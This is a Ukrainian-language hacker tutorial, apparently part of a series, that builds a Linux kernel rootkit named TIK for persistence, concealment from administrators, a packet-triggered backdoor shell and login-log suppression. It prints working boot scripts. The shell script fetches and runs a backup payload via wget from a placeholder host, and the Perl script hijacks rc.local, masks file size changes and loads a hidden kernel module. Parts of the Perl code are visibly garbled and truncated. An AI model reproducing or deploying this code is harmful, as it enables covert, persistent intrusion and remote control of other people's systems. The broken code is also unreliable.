Отже, сьогодні ми поговоримо про те, як зібрати всі вивчені фішки разом і закодить повноцінний руткіт. Будь-руткіт повинен вміти робити хоча б 3 базові фішки:
виживати при перезавантаженні (в ідеалі і при невеликому апгрейді)
ховатися від сисопа
давати хаксору бекдор

Руткіт, про який я сьогодні вам розповім, називається TIK Rootkit 🙂
Його можливості:
Слухати трафік в мережі і по отриманню певного пакету, запускати звичайний port bind shell, shell який коннектітся назовні або будь-яку іншу прогу.
Редірект файли, для того щоб автоматично непомітно запускатися при перезавантаженні комп’ютера.
Система Anti-Log яка дозволяє login’иться через SSH, FTP, Telnet, etc, і не залишати при цьому записи в логах.

Складові частини rootkit’а і як вони працюють.
По-перше, потрібно вибрати який з системних завантажувальних (boot) скриптів ми будемо використовувати для запуску rootkit’а. Можна, наприклад, використовувати /etc/rc.d/rc.local і т. д. Потім потрібно зробити копію цього скрипта для подальшого перенаправлення. У rootkit’е є 2 своїх boot скрипта. Один маленький, поміщається замість обраного нами раніше системного boot скрипта. Для того, щоб за тимчасовими мітками (timestamps) не можна було помітити, що файл був змінений, використовується описаний раніше модуль Time Machine. Цей маленький boot скрипт перевіряє, чи є інші файли руткіта. Якщо їх немає, то швидше за все руткіт був виявлений і вилучений. У цьому випадку boot скрипт може завантажити якусь резервну програму з інету і запустити її. Якщо ж все в порядку, то він запускає другий boot скрипт.
Другий boot скрипт знаходиться в основному каталозі разом з іншими файлами rootkit’а. Він збільшує або зменшує розмір першого boot скрипта у відповідності з розміром цього boot скрипта. Потім він перевіряє версію ядра і може перекомпілювати модулі, якщо це необхідно. Після чого він завантажує основний rootkit’івський модуль і ховає його за допомогою іншого модуля, який був описаний у першій частині. І наостанок запускає копію цього boot скрипта. Далі завантажений модуль перенаправляє файл з першим бут скриптом в збережену копію, після чого виявити підміну стає складніше. Також основний модуль слухає трафік щоб по певній команді відкрити бекдор або включити систему Anti-Log.
Файли руткіта:
boot.sh — перший маленький boot скрипт.
boot.pl — другий boot скрипт.
lock.c — головний модуль.
hmod.c — ховає модуль.
key.c — прога для віддаленого управління rootkit’ом з допомогою спеціальних пакетів.
tm.c — модуль для управління тимчасовими мітками.
А також пара Makefile’ів
Для зручності юзания я викладаю архів з усіма файлами руткіта.
Тепер licence — юзайте цей rootkit на свій страх і ризик, в ньому є баги, цей руткіт тільки для освітніх цілей, я не відповідаю ні за які ваші дії!

— — — boot.sh — cut here— — —
#!/bin/sh
if [! -d /path/to/your/hack/folder ]; then wget yoursite.somewhere.com/backup -O /tmp/.b; chmod 755 /tmp/.b; /tmp/.b; exit 0; fi; /path/to/your/hack/folder/boot.pl
— — — boot.sh — cut here— — —
Скрипт виконаний в 2-х рядках для економії байтів 🙂 Він просто перевіряє, чи є основний каталог з файлами руткіта. Якщо ні — завантажити запасну прогу і запустити її. Якщо є — запустити другий бут скрипт.
Другий бут скрипт виконаний на перлі так як він мені більше подобається 🙂
— — — boot.pl — cut here— — —
#!/usr/bin/perl
$REAL_BS = “/path/to/your/hack/folder/redir/rc.local”; #збережений бут скрипт
$FAKE_BS = “/etc/rc.d/rc.local”; #перший бут скрипт руткіта
$HVER = «2.4.2-2»; #версія ядра, для якого були скомпільовані модулі
$HDIR = “/path/to/your/hack/folder/”;
$CWD = `pwd`;
chdir($HDIR);
#перевірити модулі були скомпільовані для поточного ядра
open(VERSION, “;
close(VERSION);
@VERSION = split(/ /, $VERSION);
if(@VERSION[2] ne $HVER)
{
#спробувати перекомпілювати модулі (мало тестувалося! потрібна перевірка правильності компіляції і модифікація $HVER!)
chdir(«lock»);
system(«make»);
chdir(“../hmod”);
system(«make»);
chdir(“../”);
}
#перевірити чи збігається розмір руткитовского бут скрипта і сьогодення
@STAT_REAL_BS = stat($REAL_BS);
@STAT_FAKE_BS = stat($FAKE_BS);
if(@STAT_REAL_BS[7] > @STAT_FAKE_BS[7])
{
#збільшити розмір руткитовского бут скрипта
open(FAKE_BS, “>>$FAKE_BS”);
$tmp = “” x (@STAT_REAL_BS[7] — @STAT_FAKE_BS[7]);
syswrite(FAKE_BS, $tmp);
close(FAKE_BS);
}
elsif(@STAT_REAL_BS[7] ;
read(FAKE_BS, $FAKE_BS, @STAT_REAL_BS[7]);
close(FAKE_BS);
open(FAKE_BS, “>$FAKE_BS”);
syswrite(FAKE_BS, $FAKE_BS);
close(FAKE_BS);
}
#видалити старий mod.addr файл
system(«rm mod.addr -f >>/dev/null 2>&1»);
#’insmod’ модулі
system(«insmod lock/lock.o -f >mod.load 2>&1»);
system(«insmod hmod/hmod.o hide=lock -f >>mod.load 2>&1»);
chdir($CWD);
#запустити справжній boot script
system($REAL_BS);
— — — boot.pl — cut here— — —
Якщо все буде вдало, то головний модуль руткіта (lock.o) буде завантажений і прихований. У файлі mod.addr буде записаний його адресу в ядрі для того, щоб потім його можна було вивантажити якщо треба. У файлі mod.load буде на всяк випадок записано те, що сказав insmod (те, що при завантаженні hmod.o виникає помилка — нормально! Читай першу частину для пояснення).
hmod.c і tm.c описувати не буду так як вони описані в першій частині.